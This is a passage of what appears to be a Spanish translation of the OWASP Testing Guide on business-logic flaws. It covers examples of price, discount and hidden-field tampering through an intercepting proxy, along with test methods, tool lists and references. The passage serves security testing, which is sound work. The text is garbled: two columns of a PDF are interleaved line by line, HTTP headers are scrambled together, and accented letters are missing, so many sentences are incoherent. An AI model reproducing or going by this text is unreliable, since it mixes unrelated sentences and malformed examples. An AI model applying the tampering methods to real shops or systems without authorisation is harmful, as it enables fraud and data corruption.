User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)
Accept-Encoding Content-Length: 162 Gecko/20100101 Firefox/25.0
Content-Type: text/html Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

274
Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.example.com/ Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate
Content-Length: 188 Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
HTTP/1.1 302 Found Connection: keep-alive
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache
Pragma: no-cache Expires: 0
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; Content-Type: text/html;charset=UTF-8

expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com;
httponly Content-Length: 730
Location: private/ Date: Tue, 25 Dec 2013 00:00:00 GMT
X-Content-Type-Options: nosniff ----------------------------------------------------------
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN Herramientas
Content-Length: 0 [5] curl puede ser usado para revisar cmo buscar pginas manualmente
Connection: Keep-Alive Referencias
Content-Type: text/html Recursos OWASP
[1] Gua de Pruebas OWASP - Pruebas de codificadores SSL/TLS dbiles,

proteccin de transporte de capas insuficiente (OTG-CRYPST-001)
----------------------------------------------------------
http://example.com/private
[2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection
GET /private HTTP/1.1

[3] OWASP TOP 10 2013 - Sensitive Data Exposure
Host: example.com

[4] OWASP ASVS v1.1 - V10 Communication Security Verification
Gecko/20100101 Firefox/25.0 Requirements

275
No se pueden automatizar los casos de abuso en la lgica del negocio y siguen

siendo un arte manual que depende de las habilidades del evaluador y de un
[6] Gua de pruebas OWASP - Pruebas de los atributos de las cookies (OTG- conocimiento completo de los procesos del negocio y sus normas.
SESS-002)
Restricciones y lmites de negocio

Prueba de la lgica del negocio
Considere las reglas para la funcin del negocio que proporciona la
Resumen aplicacin. Existen lmites o restricciones en el comportamiento de las
personas? Entonces considere si la aplicacin hace cumplir esas normas.
Para probar las fallas en la lgica del negocio en una aplicacin web dinmica Generalmente es bastante fcil identificar los casos de prueba y anlisis para
y multifuncional, se requiere pensar en mtodos no convencionales. Si el verificar si la aplicacin est familiarizada con el negocio.
mecanismo de autenticacin de la aplicacin est desarrollado con la intencin
de realizar los pasos 1, 2, 3, en ese orden especfico para autenticar un usuario,
qu sucede si el usuario va del paso 1 directamente al paso 3?
Si usted es un evaluador externo, entonces va a tener que usar su sentido
comn y preguntar al negocio si las diferentes operaciones se deben permitir
por parte de la aplicacin.
En este ejemplo simple, la aplicacin da acceso al no poder abrir, niega el
acceso, o solo manda un error con un mensaje 500?
A veces, en aplicaciones muy complejas, el evaluador no tendr el

conocimiento completo de cada aspecto de la aplicacin inicialmente. En estas
Hay muchos ejemplos que se pueden dar, pero la leccin constante es "pensar situaciones, es mejor que el cliente dirija al evaluador a travs de la aplicacin
fuera del conocimiento comn". Este tipo de vulnerabilidad no puede ser para poder tener una mejor comprensin de los lmites y la funcionalidad
detectada por un escner de vulnerabilidad y se basa en las habilidades y prevista de la aplicacin, antes de empezar la prueba real.
creatividad del evaluador de penetracin.
Adems, tener una lnea de comunicacin directa con los desarrolladores (si es
posible) durante la prueba es de gran ayuda, por si aparecen preguntas con
respecto a la funcionalidad de la aplicacin.
Adems, este tipo de vulnerabilidad suele ser una de las ms difciles de
detectar y, generalmente, es especfica de la aplicacin, pero, al mismo
tiempo, uno de los ms perjudiciales para la aplicacin si se explota.
Descripcin del problema
A las herramientas automatizadas les resulta difcil comprender el contexto,

La clasificacin de las fallas en la lgica del negocio no han sido estudiadas a por lo tanto, depende de una persona el llevar a cabo este tipo de pruebas. Los
fondo; aunque la explotacin de las fallas de negocio suceden con frecuencia siguientes dos ejemplos ilustran cmo el entender la funcionalidad de la
en los sistemas del mundo real, y muchos investigadores de vulnerabilidades aplicacin, las intenciones del desarrollador y un pensamiento creativo "fuera
aplicadas las investigan. de la caja" pueden romper la lgica de la aplicacin.
El mayor enfoque es en aplicaciones web. Hay un debate dentro de la El primer ejemplo comienza con una manipulacin simple del parmetro,
comunidad acerca de si estos problemas representan particularmente nuevos mientras que el segundo es un ejemplo del mundo real de un proceso que
conceptos, o si son variantes de principios bien conocidos. conduce a subvertir completamente la aplicacin.
La prueba de fallas en la lgica del negocio es similar a los tipos de prueba Ejemplo 1:
utilizados por evaluadores funcionales que se enfocan en la prueba de estado
lgico o finito. Estos tipos de pruebas requieren que los profesionales de la Supongamos que un sitio de comercio electrnico permite a los usuarios
seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y seleccionar elementos que desean comprar, ver una pgina de resumen y
usen muchas de las tcnicas de prueba adoptadas por los evaluadores luego licitar la venta. Qu pasara si un atacante vuelve a la pgina de
funcionales. resumen, manteniendo la validez de la sesin e inyecta un menor costo en
un elemento, completa la transaccin y luego sale?

276
Ejemplo 2: Esto es importante porque, sin esta proteccin, los atacantes pueden ser
capaces de "engaar/trucar" la aplicacin para que les permita entrar en
Retener/bloquear recursos y evitar que otros puedan comprar estos artculos secciones de la aplicacin del sistema a las cules no deberian tener acceso
en lnea puede resultar en que los atacantes compren artculos a bajo precio. en ese momento en particular, eludiendo as el flujo de trabajo de la lgica
La solucin a este problema es implementar tiempos de cierre de sesin y de negocio de la aplicacin.
mecanismos para asegurar que slo el precio correcto puede ser cargado.
4.12.3 Prueba de comprobacin de integridad (OTG-BUSLOGIC-003)

Ejemplo 3:
En la comprobacin de integridad y prueba de evidencia de adulteracin,
Qu pasara si un usuario pudo iniciar una transaccin vinculada a su verificamos que la aplicacin no permita a los usuarios destruir la
cuenta de club o lealtad y luego de agregar los puntos a su cuenta cancela la integridad o datos de cualquier parte del sistema.
transaccin? Los puntos o crditos todava pueden aplicarse a su cuenta?
Esto es importante porque, sin estas protecciones, los atacantes pueden

Casos de prueba de la lgica del negocio romper el flujo de trabajo de la lgica del negocio y cambiar o poner en
peligro los datos del sistema de aplicacin o encubrir acciones mediante la
Cada aplicacin tiene un proceso diferente de negocio y lgica especfica de alteracin de informacin, incluyendo archivos de registro.
la aplicacin y puede ser manipulada en un nmero infinito de
combinaciones. Esta seccin proporciona algunos ejemplos comunes de
problemas de lgica de negocio, pero de ninguna manera es una lista
completa de todos los temas. 4.12.4 Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004)
Las explotaciones de la lgica del negocio pueden separarse en las En las pruebas del tiempo de procesamiento, verificamos que la aplicacin
siguientes categoras: no permita a los usuarios manipular un sistema o adivinar su
comportamiento basado en los tiempos de procesamiento de entrada o
salida.
4.12.1 Prueba de la validacin de datos de la lgica del negocio (OTG-

BUSLOGIC-001)
Esto es importante porque, sin esta proteccin, los atacantes pueden ser
En la prueba de validacin de datos de la lgica del negocio, verificamos capaces de controlar el tiempo de procesamiento y determinar las salidas
que la aplicacin no permita a los usuarios insertar datos "no validados" en basados en el tiempo o eludir la lgica del negocio de la aplicacin al no
el sistema o la aplicacin. completar transacciones o acciones en forma oportuna.
Esto es importante porque, sin esta proteccin, los atacantes pueden insertar 4.12.5 Prueba del nmero de veces que limita el uso de una funcin (OTG-
datos/informacin "no validada" en la aplicacin/sistema en "puntos de BUSLOGIC-005)
entrega" donde el sistema/aplicacin considera que los datos/informacin es
"buena" y ha sido vlida desde que los puntos de"entrada" realizaron la Al probar el lmite de una funcin, verifique que la aplicacin no permita a
validacin de datos como parte del flujo de trabajo de la lgica de negocio. los usuarios utilizar partes de la aplicacin o sus funciones, ms veces de
las requeridas por el flujo de la lgica de trabajo.
4.12.2 Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-

002) Esto es importante porque, sin esta proteccin, los atacantes pueden utilizar
una funcin o parte de la aplicacin un mayor nmero de veces que el
En las pruebas de requerimientos de parmetros predictivos y manipulados, permitido por la lgica de negocio para obtener beneficios adicionales.
verificamos que la aplicacin no permita a los usuarios enviar o modificar
los datos de cualquier componente del sistema al que ellos no deben tener
acceso, que estn accediendo en ese momento o de esa manera en
particular. 4.12.6 Pruebas para la evasin de los flujos de trabajo (OTG-BUSLOGIC-
006)

277
Al evadir el flujo de trabajo y burlar las pruebas de secuencia correcta, Aunque existen herramientas para probar y verificar que los procesos del
verificamos que la aplicacin no permite a los usuarios realizar acciones negocio funcionan correctamente en situaciones vlidas, estas herramientas
fuera del flujo de proceso de negocios "aprobado/requerido". son incapaces de detectar vulnerabilidades lgicas. Por ejemplo, las
herramientas no tienen posibilidad de detectar si un usuario es capaz de
evitar el flujo de proceso del negocio a travs de la edicin de parmetros,
prediccin de nombres de recursos o escalada de privilegios para acceder a
Esto es importante ya que, sin esta proteccin, los atacantes pueden ser recursos restringidos ni tienen ningn mecanismo para ayudar a los
capaces de evadir o burlar los flujos de trabajo y "controles" que les permite evaluadores humanos para que sospechen de esta situacin.
entrar prematuramente o saltarse las secciones de la aplicacin "requerida s",
y potencialmente permite que la accin/transaccin termine sin completar el
proceso de negocio, dejando al sistema con informacin de seguimiento
incompleta en el backend. Los siguientes son algunos tipos comunes de herramientas que pueden ser
tiles en la identificacin de temas relacionados con la lgica del negocio.
HP Business Process Testing Software

4.12.7 Prueba de las defensas contra el mal uso de la aplicacin (OTG-
BUSLOGIC-007) www8.hp.com
En las pruebas de defensas contra el mal uso de la aplicacin, verificamos

que la aplicacin no permita a los usuarios manipular la aplicacin de una
manera no deseada. Intercepting Proxy - Para observar los bloques de solicitud y respuesta
del trfico HTTP.

4.12.8 Prueba de la posibilidad de carga de tipos de archivos inesperados
(OTG-BUSLOGIC-008) Burp Proxy: portswigger.net
En la prueba de carga de tipos de archivos inesperados, verificamos que la Paros Proxy: parosproxy.org
aplicacin no permita a los usuarios cargar tipos de archivos que el sistema
no espera o requiera de acuerdo a la lgica del negocio.
Web Browser Plug-ins - Para visualizar y modificar encabezados

HTTP/HTTPS, parmetros de publicacin y observar el DOM del
Esto es importante ya que, sin esta proteccin, los atacantes pueden ser navegador
capaces de enviar archivos inesperados tales como .exe o .php que se
guardan en el sistema y luego se ejecutan contra el sistema o aplicacin. Tamper Data (for Internet Explorer: addons.mozilla.org
4.12.9 Prueba de la posibilidad de carga de archivos maliciosos (OTG- TamperIE (for Internet Explorer): bayden.com
BUSLOGIC-009)
Al probar la carga de archivos maliciosos, verifique que la aplicacin no

permita a los usuarios cargar archivos maliciosos o potencialmente dainos Firebug (for Internet Explorer): addons.mozilla.org
al sistema y a su seguridad.
Herramientas de pruebas miscelneas

Esto es importante ya que, sin esta proteccin, los atacantes pueden ser
capaces de cargar archivos al sistema que pueden propagar virus, malware o Web Developer toolbar: chrome.google.com
incluso explotaciones como shellcode cuando se ejecutan.
La extensin Web Developer aade un botn a la barra de herramientas en

Herramientas el navegador, con varias herramientas de desarrollo web. Este es el puerto
oficial de la extencin de Web Developer para Firefox.

278
Realice solicitudes HTTP desde su navegador y navegue en la respuesta

(encabezados HTTP y fuente). Enve mtodos HTTP, encabezados y cuerpo
HTTP Request Maker: chrome.google.com utilizando XMLHttpRequest desde su navegador y luego vea el estado
HTTP, encabezados y fuente. Haga clic en los links del encabezado o
cuerpo para generar nuevas solicitudes. Este plug-in da formato de
respuesta XML y utiliza un resaltador de sintaxis Syntax Highlighter <
Request Maker es una herramienta para pruebas de penetracin. Con sta http://alexgorbatchev.com/ >.
usted puede capturar fcilmente solicitudes realizadas por pginas web,
manipular la URL, encabezados, datos POST y, por supuesto, realizar
nuevas solicitudes.
Firebug lite for Chrome: chrome.google.com
Cookie Editor: chrome.google.com

Firebug Lite no sustituye a Firebug, o las herramientas de Chrome
Developer. Es una herramienta para utilizarla conjuntamente con estas otras
herramientas. Firebug Lite provee la representacin visualmente rica que
Edit This Cookie es un administrador de cookies. Usted puede aadir, estamos acostumbrados a ver en Firebug cuando vemos los elementos
borrar, editar, buscar, proteger y bloquear cookies HTML, DOM, y Box Model shading. Adems, provee algunas
caractersticas interesantes como el inspeccionar los elementos HTML con
su mouse y propiedades de edicin en vivo para CSS.
Session Manager: chrome.google.com Referencias
Libros Blancos
Con Session Manager usted puede grabar rpidamente el estado de su Business Logic Vulnerabilities in Web Applications:
navegador actual y recargarlo cuando sea necesario. Puede gestionar accorute.googlecode.com
mltiples sesiones, renombrarlas o removerlas de la biblioteca de sesin.
The Common Misuse Scoring System (CMSS): Metrics for

Cada sesin recuerda el estado del navegador en su momento de creacin,
es decir, las ventanas y pestaas abiertas. Una vez que se abre una sesin, el Software Feature Misuse Vulnerabilities - NISTIR 7864: csrc.nist.gov
navegador se restaura a su estado original.
Designing a Framework Method for Secure Business Application Logic

Swap My Cookies: chrome.google.com Integrity in e-Commerce Systems, Faisal Nabi: ijns.femto.com.tw
Swap My Cookies es un administrador de sesin. Gestiona sus cookies, Finite State testing of Graphical User Interfaces, Fevzi Belli:
permitindole conectarse en cualquier sitio web con varias cuentas slideshare.net
diferentes.
Principles and Methods of Testing Finite State Machines - A Survey,

Usted puede finalmente conectarse a Gmail, yahoo, hotmail, y David Lee, Mihalis Yannakakis: cse.ohio-state.edu
prcticamente a cualquier sitio web que utilice, con todas sus cuentas; si
quiere utilizar otra cuenta, solo tiene que intercambiar su perfil!
Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi:
homepages.cs.ncl.ac.uk
HTTP Response Browser: chrome.google.com/

279
Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee:
info-point-security.com
Prevent application logic attacks with sound app security practices:
searchappsecurity.techtarget.com
Seven Business Logic Flaws That Put Your Website At Risk -
Jeremiah Grossman Founder and CTO, WhiteHat Security: Real-Life Example of a Business Logic Defect: infosecisland.com
whitehatsec.com
Software Testing Lifecycle: softwaretestingfundamentals.com

Toward Automated Detection of Logic Vulnerabilities in Web
Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel
Giovanni Vigna: usenix.org
Top 10 Business Logic Attack Vectors Attacking and Exploiting Business
Application Assets and Flaws Vulnerability Detection to Fix:
ntobjectives.com and ntobjectives.com
2012 Web Session Intelligence & Security Report: Business Logic Abuse,
Dr. Ponemon: emc.com
Libros
Relacionados a OWASP The Decision Model: A Business Logic Framework Linking Business and
Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC
Business Logic Attacks Bots and Bats, Eldad Chai: blog.imperva.com Press, ISBN1420082817 (2010)
OWASP Detail Misuse Cases: owasp.org Prueba de la validacin de datos de la lgica del negocio (OTG-
BUSLOGIC-001)
Resumen
How to Prevent Business Flaws Vulnerabilities in Web Applications,
Marco Morana: slideshare.net La aplicacin debe asegurarse que pueden introducirse lgicamente datos
vlidos en la seccin de acceso directo, as como directamente en el lado
del servidor de una aplicacin del sistema. Slo verificar los datos
localmente puede dejar a las aplicaciones vulnerables a inyecciones de
Sitios web tiles servidor a travs de proxies o en los intercambios con otros sistemas.
Abuse of Functionality: projects.webappsec.org
Esto es diferente a simplemente realizar un anlisis de valor de lmite

(BVA) que es ms difcil y, en la mayora de los casos, no se puede
Business logic: en.wikipedia.org comprobar simplemente en el punto de entrada; generalmente requiere de
algn otro sistema de control.
Business Logic Flaws and Yahoo Games: jeremiahgrossman.blogspot.com

Por ejemplo: una aplicacin puede solicitar su nmero de seguro social. En
BVA, la aplicacin debe comprobar formatos y semntica (el valor tiene 9
dgitos de largo, no es negativo y no contiene solo 0) en los datos
CWE-840: Business Logic Errors: cwe.mitre.org introducidos, pero tambin hay consideraciones lgicas. Los nmeros de
seguro social son agrupados y categorizados. Esta persona est en un
archivo de difuntos? Son de una cierta parte del pas?
Defying Logic: Theory, Design, and Implementation of Complex Systems

for Testing Application Logic: slideshare.net

280
Las vulnerabilidades relacionadas con la validacin de datos son nicas, ya crdito en mltiples lugares muy rpidamente, es posible superar mi lmite
que son para una aplicacin especfica y diferente a las vulnerabilidades si los sistemas estn basando sus decisiones en los datos de anoche.
relacionadas con la manipulacin de solicitudes en las que estn ms
preocupadas de la lgica de los datos en lugar de simplemente romper el
flujo de trabajo de la lgica del negocio.
Cmo probar
Mtodo de prueba genrica

Tanto la seccin de acceso directo (front-end) como la seccin de acceso
restringido (back-end) de la aplicacin deben verificar y validar que la
informacin que tiene, utiliza y pasa est validada lgicamente. Incluso si
el usuario provee datos vlidos a la aplicacin, la lgica del negocio puede Revise la documentacin del proyecto y utilice pruebas exploratorias en
hacer que la aplicacin se comporte de una manera distinta, dependiendo de busca de puntos de entrada de datos o puntos de intercambio entre sistemas
los datos o las circunstancias. o software.
Ejemplos Una vez encontrados, intente insertar datos lgicamente invlidos en el

sistema o aplicacin.
Ejemplo 1
Mtodo de prueba especfica:
Supongamos que administra un sitio de comercio electrnico de multiples
niveles. El usuario escoge la alfombra, ingresa el tamao, realiza el pago y
la aplicacin de acceso directo ha verificado que toda la informacin
ingresada es correcta y vlida para el contacto, tamao, fabricacin y color Realizar pruebas GUI de validacin funcional en la seccin pblica de la
de la alfombra. Sin embargo, la lgica de negocio tiene, en el fondo, dos aplicacin para asegurarse que se aceptan nicamente los valores "vlidos".
rutas.
Utilizando un proxy de intercepcin, observe que el POST/GET de HTTP

Si hay la alfombra en stock, se enva directamente desde su almacn. Si no busque lugares donde pasan variables tales como costo y cantidad.
hay stock en bodega, se realiza una llamada al sistema de su socio y si Especficamente, busque "transferencias" entre aplicaciones y sistemas que
tienen en stock, se enviar la orden desde su bodega y ser reembolsada por pueden ser posibles puntos de inyeccin de manipulacin.
su empresa.
Una vez que las variables se encuentran, empiece a interrogar el campo

Qu pasara si un atacante es capaz de continuar una transaccin vlida con datos lgicamente "no validos", como nmeros de seguro social o
con stock en su bodega y la enva a su socio como que si no hubiera en identificadores nicos que no existen o que no encajan en la lgica del
stock? Qu pasara si un atacante es capaz de ingresar en el medio y enva negocio. Esta prueba verifica que el servidor funciona correctamente y no
mensajes al almacn del socio ordenando alfombras sin pagar? acepta datos lgicamente no vlidos.
Ejemplo 2 Casos de prueba relacionados
Muchos sistemas de tarjetas de crdito ahora descargan los saldos cada

noche para que los clientes puedan terminar su transaccin ms rpidamente
cuando las cantidades estn bajo un cierto valor. En sentido contrario Todos los casos de validacin de ingresos (Input Validation)
tambin sera cierto.
Pruebas de enumeracin de cuentas y adivinanza de cuentas de usuario.

Si pago mi tarjeta de crdito por la maana no ser capaz de usar el crdito (OTG-IDENT-004)
disponible por la tarde. Otro ejemplo puede ser que si utilizo mi tarjeta de

281
Pruebas del esquema de gestin de sesin (OTG-SESS-001) aquellas que permiten la depuracin y presentacin de pantallas especiales o
ventanas que son muy tiles durante el desarrollo, pero pueden filtrar
informacin o eludir la lgica del negocio.
Pruebas para determinar la Exposicin de las Variables de Sesin (OTG-

SESS-004)
Las vulnerabilidades relacionadas con la capacidad de falsificar las
solicitudes son nicas para cada aplicacin y diferentes en la validacin de
datos de la lgica del negocio, ya que su objetivo es romper el flujo de
Herramientas trabajo de la lgica del negocio.
OWASP Zed Attack Proxy (ZAP): www.owasp.org/
Las aplicaciones deben tener controles lgicos para evitar que el sistema
acepte solicitudes falsificadas que pueden permitir a los atacantes la
El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetracin posibilidad de explotar la lgica del negocio, proceso o flujo de la
integrada, fcil de usar para encontrar vulnerabilidades en aplicaciones web. Est aplicacin. La falsificacin de solicitudes no es nueva; el atacante utiliza un
diseada para ser utilizada por personas con amplia experiencia en seguridad y, proxy de intercepcin para enviar solicitudes POST/GET de HTTP a la
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en aplicacin.
el uso de pruebas de penetracin. ZAP ofrece escneres automatizados, as
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente.
Mediante la falsificacin de solicitudes, los atacantes pueden evadir la
lgica del negocio o proceso al encontrar, predecir y manipular los
parmetros para hacer que la aplicacin piense que un proceso o tarea ha
Referencias ocurrido o no.
Beginning Microsoft Visual Studio LightSwitch Development:
books.google.com Adems, las solicitudes falsificadas pueden permitir la subversin del flujo
del programa o de la lgica del negocio invocando funciones "ocultas" o
funcionalidad como la depuracin, inicialmente utilizada por los
desarrolladores y evaluadores, denominada a veces "Huevo de Pascua". Un
Remediacin "huevo de Pascua" (Easter egg) es una broma interna intencional, mensaje
oculto o una funcin en un trabajo como un programa de computadora,
La aplicacin/sistema debe garantizar que slo datos "lgicamente vlidos" pelcula, libro o crucigrama.
se acepten en todas las entradas y puntos de transferencia de la aplicacin o
sistema, y que los datos no se consideren confiables una vez que han sido
ingresados en el sistema.
Segn el diseador de juegos Warren Robinett, el trmino fue acuado en
Atari por el personal que fue alertado de la presencia de un mensaje secreto
que haba sido escondido por Robinett en su juego ya ampliamente
Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) distribuido, Adventure. Se puso este nombre para evocar la idea de una
cacera tradicional de "huevos de Pascua.
Resumen
http://en.wikipedia.org/wiki/Easter_egg_(media)
Falsificar las solicitudes es un mtodo que utilizan los atacantes para eludir
la seccin de acceso pblico de una aplicacin GUI, para presentar
directamente la informacin para que se procese en la seccin de acceso
restringido. El objetivo del atacante es enviar las solicitudes POST/GET de Ejemplos
HTTP a travs de un proxy de intercepcin con los valores de datos no
soportados, protegidos en contra o esperados por la lgica del negocio de la Ejemplo 1
aplicacin.
Supongamos que un teatro en su sitio de comercio electrnico permite a los
usuarios seleccionar su boleto, aplicar un descuento de tercera edad del 10%
una vez en toda la venta, ver el subtotal y licitar la venta. Si un atacante es
Algunos ejemplos de solicitudes falsificadas que explotan parmetros que capaz de ver a travs de un proxy que la aplicacin cuenta con un campo
pueden adivinarse o predecirse o que exponen funciones "ocultas" como oculto (de 1 o 0) usado por la lgica del negocio para determinar si ha

282
habido un descuento o no, el atacante podra presentar el 1 o el valor de Si se encuentra que algn valor es adivinable, este valor puede ser
"descuento no ha sido tomado" varias veces para aprovechar el descuento modificado y se puede obtener visibilidad inesperada.
varias veces.
Mtodo de prueba especfica 2:.
Ejemplo 2
Usando un proxy de intercepcin, observe la solicitud POST/GET de
Supongamos que un juego de video en lnea paga fichas por puntos HTTP en busca de indicios de funciones ocultas como la de depuracin, que
anotados por encontrar tesoros piratas, piratas y por cada nivel completado. puede ser encendida o activada.
Estas fichas pueden intercambiarse posteriormente por premios.
Si encuentra alguna, trate de adivinar y cambiar estos valores para obtener

Adems, los puntos de cada nivel tienen un valor multiplicador igual al una respuesta o comportamiento distinto de la aplicacin.
nivel. Si un atacante es capaz de ver a travs de un proxy que la aplicacin
tiene un campo oculto utilizado durante el desarrollo y pruebas para llegar
rpidamente a los niveles ms altos del juego, podra usarlo tambin para
llegar a los niveles ms altos y acumular puntos no ganados rpidamente. Casos de prueba relacionados
Asimismo, si un atacante es capaz de ver a travs de un proxy que la Pruebas para determinar la Exposicin de las Variables de Sesin (OTG -
aplicacin tiene un campo oculto utilizado durante el desarrollo y pruebas SESS-004)
para habilitar un registro que indica dnde se encuentran otros jugadores en
lnea o los tesoros escondidos en relacin con el atacante, entonces podran
ir rpidamente a estos lugares y anotar puntos.
Pruebas de un CSRF (CSRF) (OTG-SESS-005)
Cmo probar
Pruebas de enumeracin de cuentas y adivinanza de cuentas de usuario
Mtodo de prueba genrica (OTG-IDENT-004)
Revise la documentacin del proyecto y utilice pruebas exploratorias en Herramientas

busca de campos funcionales que pueden ser adivinados, predecibles u
ocultos. OWASP Zed Attack Proxy (ZAP): owasp.org
Una vez encontrados, intente insertar datos lgicamente vlidos en el ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar para
sistema o aplicacin, lo que permite al usuario ir a travs de la encontrar vulnerabilidades en aplicaciones web. Est diseada para ser utilizada por
aplicacin/sistema contra el flujo normal de la lgica del negocio. personas con amplia experiencia en seguridad y, como tal, es ideal para
desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de
penetracin. ZAP ofrece escneres automatizados, as como un conjunto de
herramientas que permiten encontrar las vulnerabilidades de seguridad
Mtodo de prueba especfica 1: manualmente.
Utilizando un proxy de intercepcin, observe las solicitudes POST/GET Referencias

de HTTP, busque algn indicio de que los valores estn incrementando en
intervalos regulares o son fciles de adivinar. Cross Site Request Forgery - Legitimizing Forged Requests:
fragilesecurity.blogspot.com

283
Easter egg: en.wikipedia.org
La aplicacin debe ser lo suficientemente inteligente como para comprobar

las ediciones relacionales que no permitan a los usuarios enviar
Top 10 Software Easter Eggs: lifehacker.com informacin sin validar directamente al servidor, slo porque vino desde
controles no editables o que el usuario no est autorizado a enviar desde la
seccin frontal.
Remediacin
La aplicacin debe ser lo suficientemente inteligente y diseada con una Ejemplo

lgica del negocio que evite que los atacantes puedan predecir y manipular
los parmetros para subvertir el flujo de programacin, la lgica del Ejemplo 1
negocio o explotar una funcionalidad oculta/no documentada como la
depuracin. Imagine una aplicacin GUI del tipo ASP.NET que slo permite al usuario
administrador cambiar la contrasea de otros usuarios en el sistema. El
usuario administrador ver los campos nombre de usuario y contrasea para
ingresar un nombre de usuario y contrasea mientras que otros usuarios no
Prueba de comprobacin de integridad (OTG-BUSLOGIC-003) vern ninguno de estos campos. Sin embargo, si un usuario no
administrador presenta informacin en el campo nombre de usuario y
Resumen contrasea a travs de un proxy , pueden ser capaces de "engaar" al
servidor hacindole creer que la solicitud proviene de un usuario
Muchas aplicaciones estn diseadas para mostrar diferentes campos, administrador y as cambiar la contrasea de otros usuarios.
dependiendo del usuario en cada situacin y dejando algunas entradas
ocultas. Sin embargo, en muchos casos es posible enviar valores de campo
oculto al servidor utilizando un proxy. En estos casos, los controles del lado
del servidor deben ser lo suficientemente inteligentes como para llevar a Ejemplo 2
cabo ediciones relacionales o del lado del servidor para garantizar que los
datos adecuados se ingresan al servidor basado en la lgica del negocio La mayora de las aplicaciones web tiene listas desplegables, lo que permite
especfico del usuario y la aplicacin. al usuario seleccionar rpidamente su estado, mes de nacimiento, etc..
Supongamos que una aplicacin de gestin de proyectos permite a los
usuarios iniciar una sesin y, dependiendo de sus privilegios, les presenta
una lista desplegable de proyectos a los que tienen acceso.
Adems, la aplicacin no debe depender de controles no editables, mens
desplegables o campos ocultos para el procesamiento de la lgica del
negocio porque estos campos son no-editables slo en el contexto de los
navegadores. Los usuarios pueden ser capaces de modificar sus valores Qu pasara si un atacante encuentra el nombre de otro proyecto al que no
usando herramientas de edicin proxy y tratar de manipular la lgica de debera tener acceso y enva la informacin a travs de un proxy? La
negocio. aplicacin le dar acceso al proyecto? No deberan tener acceso a pesar de
haber evadido algn control de autorizacin de la lgica del negocio.
Si la aplicacin expone valores relacionados a las reglas del negocio, como

cantidad, etc., como campos no editables, se debe mantener una copia en el Ejemplo 3
servidor y usar el mismo para el procesamiento de la lgica del negocio. Por
ltimo, adems de los datos de la aplicacin/sistema, los sistemas de Supongamos que el sistema de administracin de vehculos a motor
registro deben asegurarse para evitar la lectura, escritura y actualizacin. requiere que un empleado verifique al inicio toda la informacin y
documentacin de los ciudadanos cuando emiten una identificacin o
licencia de conducir.
La comprobacin de vulnerabilidades de la integridad de la lgica del

negocio son nicas, ya que estos casos de mal uso son especficos de cada
aplicacin y si los usuarios son capaces de hacer cambios, solo se debera En este punto, el proceso del negocio ha creado datos con un alto nivel de
poder escribir, actualizar o modificar artefactos especficos en momentos integridad, ya que la integridad de los datos se comprueba mediante la
determinados por el proceso de la lgica del negocio. aplicacin. Ahora, supongamos que la aplicacin se mueve al internet para
que los empleados puedan iniciar una sesin con acceso al servicio
completo o los ciudadanos puedan conectarse con un acceso reducido a la
aplicacin de autoservicio para actualizar cierta informacin. En este punto,

284
un atacante puede usar un proxy interceptor para agregar o actualizar datos Mtodo de prueba especfica 2
a los que no debera tener acceso y podra destruir la integridad de los datos
indicando que el ciudadano no estaba casado, pero suministrando los datos Usando un proxy, capture cualquier trfico HTTP en busca de un lugar
para el nombre de un cnyuge. Este tipo de insercin o actualizacin de para insertar informacin en las reas de la aplicacin que no son editables.
datos no verificados destruye la integridad de los datos y podra haberse
evitado si se segua la lgica del proceso del negocio.
Si los encuentra, vea cmo este campo se compara con la aplicacin GUI e
interrogue a este valor mediante el proxy, presentando diferentes valores,
Ejemplo 4 tratando de eludir los procesos del negocio y manipulando los valores a los
que no debera tener acceso..
Muchos sistemas incluyen registros para el propsito de auditora y
solucin de problemas. Pero, qu tan buena/vlida es la informacin de
estos registros? Pueden ser manipulados por los atacantes intencional o
accidentalmente, destruyendo su integridad? Mtodo de prueba especfica 3
Liste los componentes de la aplicacin o sistema que pueden ser editados,

por ejemplo, registros o bases de datos.
Cmo probar
Mtodo de prueba genrica

En cada componente identificado, tratar de leer, editar o eliminar su
Revise la documentacin del proyecto y utilice una prueba exploratoria en informacin. Por ejemplo, los archivos de registro deben identificarse y los
busca de piezas de la aplicacin/sistema (componentes, por ejemplo, los evaluadores deben tratar de manipular la informacin que recogen.
campos de entrada, las bases de datos o registros) que mueven, almacenan o
manejan datos/informacin.
Casos de prueba relacionados
Para cada componente identificado, determine qu tipo de Todos los casos de prueba de validacin de ingresos.
datos/informacin son lgicamente aceptables y de qu tipo de
aplicacin/sistema debe protegerse. Tome en cuenta tambin quin, segn la
lgica del negocio, tiene autorizacin para insertar, actualizar y eliminar
datos/informacin y en qu componente. Herramientas
Varias herramientas del sistema/aplicacin como editores y herramientas

de manipulacin de archivos.
Intente insertar, actualizar, editar o borrar los valores de la informacin
con datos no vlidos en cada componente (es decir, entrada, base de datos o .
registro) para los usuarios que no deben tener permiso en el flujo de trabajo
de la lgica del negocio.
